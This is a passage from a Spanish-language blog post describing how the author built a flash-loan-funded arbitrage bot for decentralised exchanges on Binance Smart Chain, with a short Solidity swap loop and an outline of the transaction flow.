La consulta de los precios de los mercados no supone ningún problema. De hecho, solo tenemos que replicar la lógica que hacen las interfaces de usuario que hacen uso de estos smart contracts. Las páginas de los propios exchange realmente se conectan a un nodo de la cadena de bloques y realizan consultas sobre la funciones de los smart contracts. Aquellas funciones que solo leen y no provocan ningún cambio sobre el estado de la blockchain no necesitan ninguna transacción. En cambio, las operaciones (como puede ser la de intercambiar tokens) que provocan escrituras sobre la cadena de bloques sí que requieren de una transacción.

Vamos a recapitular lo que se ha hecho hasta ahora:

- Entender la estrategia que queremos ejecutar
- Investigar las plataformas descentralizadas y los tokens
- Construir un simple grafo que represente los posibles intercambios
- Crear los métodos para obtener la cantidad que se obtendría al realizar un intercambio de un token A a un token B. Como este paso depende de cómo se implemente el bot, se deja como ejercicio para el lector.

### Ejecutar operaciones

Para ejecutar las operaciones, primero tenemos que detectarlas, ¿no? Eso es bastante fácil porqué ya tenemos el grafo con todas las posibles combinaciones de operaciones, solo tenemos que recorrer el grafo y ejecutar aquellas operaciones que son rentables.

- Para optimizar el proceso, no es necesario recorrer el grafo cada vez. Podemos guardar aquellas combinaciones que nos interesan y solo analizar éstas.
- Determinar si una operación es válida (rentables) es tan fácil como comprobar si la cantidad que obtenemos al ejecutar la operación es superior a la cantidad inicial, además de otras reglas de negocio que te puedan interesar.

Al inicio se ha comentado que es necesario ejecutar todas las operaciones de manera atómica. Por el propio diseño de la blockchain (o de Binance Smart Chain) los usuarios solo pueden ejecutar una única operación. Eso no es ningún problema, ya que podemos delegar las operaciones que queremos ejecutar a un smart contract y éste sí lo puede hacer atómicamente.

Podemos diseñar un smart contract muy genérico y que funcione en distintas plataformas. Este smart contract tendrá una función que recibirá una lista y cada elemento indicará:

- La plataforma donde se realizará el intercambio, esto no es más que una dirección de un smart contract.
- Los tokens que se intercambiarán, como mínimo el token inicial y el token que se quiere recibir. En función de la plataforma se deberá indicar el camino para llegar del token inicial al token final (pero como tenemos nuestro grafo, eso es trivial).
- La cantidad inicial y la cantidad mínima a recibir en el intercambio.

El código principal de esta función podría ser como el siguiente fragmento:

```solidity
for (uint8 i = 0; i < routers.length; i++) {
	DEXRouter(routers[i]).swapExactTokensForTokens(
		amountsIn[i], 
		amountsOut[i], 
		paths[i], 
		address(this), 
		block.timestamp
	);
}
```

Un detalle que no se ha comentado es como pedimos prestado el dinero. Para pedir medio millón de dólares en un flash loan necesitamos encontrar una plataforma que permita hacerlo y luego la tendremos que integrar en nuestro smart contract.

El flujo final del programa será algo del estilo:

- Detectar las operaciones válidas
- Ejecutar la operación, para ello se debe:
    - Invocar nuestro smart contract especificando todos los datos de las operaciones.
    - Nuestro smart contract en esta primera llamada no ejecuta las operaciones, sino invoca el smart contract del *flash loan provider* indicando la dirección que debe recibir el dinero, la cantidad y el token. Además, también deberemos indicar los datos que se deberán pasar al callback que ejecutará este segundo smart contract.
    - Se ejecutará la segunda función de nuestro smart contract, con el dinero prestado y los datos del intercambio, se ejecutarán las distintas operaciones.
    - Si todas las operaciones se han ejecutado correctamente, se podrá devolver el dinero prestado con los intereses. Si no se han ejecutado o no hay fondos suficientes, se revertirán todas las operaciones cuando el segundo smart contract - el *flash loan provider* - intente recuperar el dinero.

Como puedes comprobar, este proceso es bastante directo y sencillo.

## Resultados

Esta herramienta automática de trading se probó durante algunas semanas de enero de 2022 y se ejecutaron algunas operaciones. Los resultados de esas operaciones quedan fuera del alcance de esta entrada, ya que el objetivo era implementar un bot de arbitraje sobre una red descentralizada.

Ese objetivo principal se ha logrado y además se han adquirido nuevas habilidades durante el proceso:

- La creación de smart contracts es un mundo nuevo (bueno, ya lleva algunos años) y tiene un enorme potencial, ya que nos permiten implementar lógica en el mundo de la finanzas. ¡Y son verificables por todo el mundo!
- La aplicación de conceptos matemáticos para la resolución de problemas. Esto es lo que más me gusta de resolver este tipo de problemas. Por si no lo has descubierto, me encanta hacer grafos de los mercados y dibujarlos.

Comentar que una vez se tiene la idea principal bien clara y cómo se quiere ejecutar, implementar una herramienta de este estilo no te debería llevar más de una semana de trabajo.

Bueno, voy pidiendo cita en el concesionario para comprar el Lamborghini. Es broma, mejor un eléctrico así lo podré aprovechar en el 2035.

## Referencias:

- Equalizer Finance ([https://equalizer.finance/](https://equalizer.finance/))
- PancakeSwap Smart Contracts ([https://github.com/pancakeswap/pancake-smart-contracts](https://github.com/pancakeswap/pancake-smart-contracts))

Jaume Aloy

Ingeniero informático